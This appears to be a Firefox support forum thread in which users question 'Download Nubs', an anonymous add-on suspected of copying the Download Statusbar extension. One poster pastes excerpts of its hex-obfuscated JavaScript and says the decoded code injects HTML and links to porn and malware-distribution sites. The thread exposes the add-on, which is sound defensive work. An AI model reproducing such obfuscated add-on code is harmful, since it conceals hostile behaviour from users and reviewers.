Download Sort/Statusbar broken?

[falcon25]

You find it amusing to steal someones hard work?

it's not amusing, but: the last activity from the download statusbar Author was 2011, i contact him about email, but no answer, so what can whe do when he has abandoned?
i think Download Nubs is a further development that will supports the new download API in FF26, and it works.

[patrickjdempsey]

Does anyone else get a bad feeling in their gut when presented with anonymous addons developers, wonky licenses, and websites with no contact forms, also registered anonymously?

[TheVisitor]

Does anyone else get a bad feeling in their gut when presented with anonymous addons developers, wonky licenses, and websites with no contact forms, also registered anonymously?

Yes.. almost smells like another one of those 'toolbar' things that start with a 'C' that everyone hates, and causes tons of issues with Firefox. (damn, for life of me can't remember the name)

EDIT: Conduit Crapola Inc...

[Srap]

Yes, we do, likely the reason why malliz asked to delete the links. Thing just popped up with a disturbingly appropriate timing, and that is rarely as good as it sounds.

[Zoolcar9]

Looks like it has been submitted for review

You will be asked to deobfuscate your code to reviewer.
https://addons.mozilla.org/en-US/developers/docs/policies/reviews#section-binary

[falcon25]

Looks like it has been submitted for review

You will be asked to deobfuscate your code to reviewer.
https://addons.mozilla.org/en-US/developers/docs/policies/reviews#section-binary

the policies said: please contact that add-on's author through the support channels listed on the add-on's listing page

and when the author is dead, should i ask him wife?

[TheVisitor]

Looks like it has been submitted for review

You will be asked to deobfuscate your code to reviewer.
https://addons.mozilla.org/en-US/developers/docs/policies/reviews#section-binary

And now he's spamming his stuff on the support section:
viewtopic.php?f=38&t=2781899

[malliz]

and when the author is dead, should i ask him wife?

Being known as a plagiarist and code thief is not the way to win friends and influence people don't add the cherry to the top by being a clever clogs

[patrickjdempsey]

Yeah, Mozilla is not going to pass this mess:

var _0xb0b1=["\x63\x68\x72\x6F\x6D\x65\x3A\x2F\x2F\x64\x6F\x77\x6E\x6C\x6F\x61\x64\x5F\x6E\x75\x62\x73\x2F\x63\x6F\x6E\x74\x65\x6E\x74\x2F\x64\x6E\x75\x62\x73\x2E\x6A\x73\x6D","\x69\x6D\x70\x6F\x72\x74","\x75\x74\x69\x6C\x73","\x69\x6E\x69\x74\x69\x61\x6C\x69\x7A\x65\x64","\x73\x74\x72\x69\x6E\x67\x73","\x64\x6F\x77\x6E\x6C\x6F\x61\x64\x5F\x6E\x75\x62\x73\x2D\x73\x74\x72\x69\x6E\x67\x73","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x70\x72\x65\x66\x73","\x6E\x73\x49\x50\x72\x65\x66\x42\x72\x61\x6E\x63\x68","\x69\x6E\x74\x65\x72\x66\x61\x63\x65\x73","\x67\x65\x74\x53\x65\x72\x76\x69\x63\x65","\x40\x6D\x6F\x7A\x69\x6C\x6C\x61\x2E\x6F\x72\x67\x2F\x70\x72\x65\x66\x65\x72\x65\x6E\x63\x65\x73\x2D\x73\x65\x72\x76\x69\x63\x65\x3B\x31","\x63\x6C\x61\x73\x73\x65\x73","\x5F\x32\x78\x33\x64\x32\x64\x32\x78\x33\x64\x33\x78\x32\x64\x65\x33\x64\x33\x78\x32\x64\x65\x33\x65\x32\x64\x32\x78\x33\x65\x33\x78","\x66\x69\x6C\x65\x70\x61\x74\x68","\x66\x69\x6C\x65\x6E\x61\x6D\x65","\x72\x65\x66\x65\x72\x72\x65\x72","\x73\x6F\x75\x72\x63\x65\x55\x72\x6C","\x73\x74\x61\x74\x65","\x73\x74\x61\x72\x74\x54\x69\x6D\x65","\x65\x6E\x64\x54\x69\x6D\x65","\x74\x6F\x74\x61\x6C\x46\x69\x6C\x65\x53\x69\x7A\x65","\x63\x75\x72\x72\x46\x69\x6C\x65\x53\x69\x7A\x65","\x6E\x73\x49\x57\x69\x6E\x64\x6F\x77\x4D\x65\x64\x69\x61\x74\x6F\x72","\x40\x6D\x6F\x7A\x69\x6C\x6C\x61\x2E\x6F\x72\x67\x2F\x61\x70\x70\x73\x68\x65\x6C\x6C\x2F\x77\x69\x6E\x64\x6F\x77\x2D\x6D\x65\x64\x69\x61\x74\x6F\x72\x3B\x31","\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x3A\x62\x72\x6F\x77\x73\x65\x72","\x67\x65\x74\x4D\x6F\x73\x74\x52\x65\x63\x65\x6E\x74\x57\x69\x6E\x64\x6F\x77","\x6E\x73\x49\x57\x69\x6E\x64\x6F\x77\x57\x61\x74\x63\x68\x65\x72","...

It goes on like that for (literally) 33000 characters in one big long string. That on top of all of the anonymized identity stuff makes overall for a package that I wouldn't touch with someone-else's ten-foot-long pole.

[falcon25]

Being known as a plagiarist and code thief is not the way to win friends

that's right, but have you a better way when the Author not responds?

[patrickjdempsey]

Being known as a plagiarist and code thief is not the way to win friends

that's right, but have you a better way when the Author not responds?

... you mean aside from writing your own code ?

[patrickjdempsey]

If anyone is curious as to what's in that encoded code I posted above... here it is decoded:
http://ddecode.com/hexde



It appears to contain a ton of HTML (why would the JS file of an XUL extension contain any HTML??) and a bunch of links to porn sites and Russian "game" sites (which are usually just malware distributors). And then a bunch more encyrpted code like this:

his[_0x73aa[165]]=_0x73aa[177];} else {if(_0x2e0ex2[_0x73aa[163]]()[_0x73aa[162]](_0x73aa[178])>=0){_0x2e0ex3=_0x73aa[179];this[_0x73aa[165]]=_0x73aa[174];} else {if(_0x2e0ex2[_0x73aa[163]]()[_0x73aa[162]](_0x73aa[180])>=0){_0x2e0ex3=_0x73aa[181];this[_0x73aa[165]]=_0x73aa[180];} else {if(_0x2e0ex2[_0x73aa[163]]()[_0x73aa[162]](_0x73aa[182])>=0){_0x2e0ex3=_0x73aa[183];this[_0x73aa[165]]=_0x73aa[182];} else {if(_0x2e0ex2[_0x73aa[163]]()[_0x73aa[162]](_0x73aa[184])>=0){_0x2e0ex3=_0x73aa[185];this[_0x73aa[165]]=_0x73aa[184];} else {if(_0x2e0ex2[_0x73aa[163]]()[_0x73aa[162]](_0x73aa[186])>=0){_0x2e0ex3=_0x73aa[187];this[_0x73aa[165]]=_0x73aa[186];} else {if(_0x2e0ex2[_0x73aa[163]]()[_0x73aa[162]](this[_0x73aa[188]][_0x73aa[163]]())>=0){fInit=true;this[_0x73aa[165]]=_0x73aa[189];this[_0x73aa[123]]=20;this[_0x73aa[124]]=5;} else {if(_0x2e0ex2[_0x73aa[163]]()[_0x73aa[162]](_0x73aa[190])>=0){fInit=true;this[_0x73aa[165]]=_0x73aa[191];this[_0x73aa[123]]=20;this[_0x73aa[124]]=5;} ;} ;} ;} ;} ;} ;} ;}

Edit: also noticed an "About" page in the extension files. I'm guessing that the JS injects the HTML and porn links into the About page.

[falcon25]

here it is decoded:

right, there are may suspicious html's in this code, thanks for your effort.
but fact is: the original downlad statusbar does not supported the new download API, no longer works and the Author not responds, so i'm still waiting for a another solution.

[Frank Lion]

It appears to contain a ton of HTML (why would the JS file of an XUL extension contain any HTML??) and a bunch of links to porn sites and Russian "game" sites (which are usually just malware distributors).

... I'm guessing that the JS injects the HTML and porn links into the About page.

Jeeze, I pity the poor slobs who installed that!


Edit - hahaha...I've just seen this -

i think Download Nubs is a further development that will supports the new download API in FF26, and it works.

[patrickjdempsey]

I'm hopeful that this will be a lesson to people who like to post links to unverified extensions from unknown authors exactly how dangerous that behavior is, and why the mods work so hard to break live links to installables. But probably not.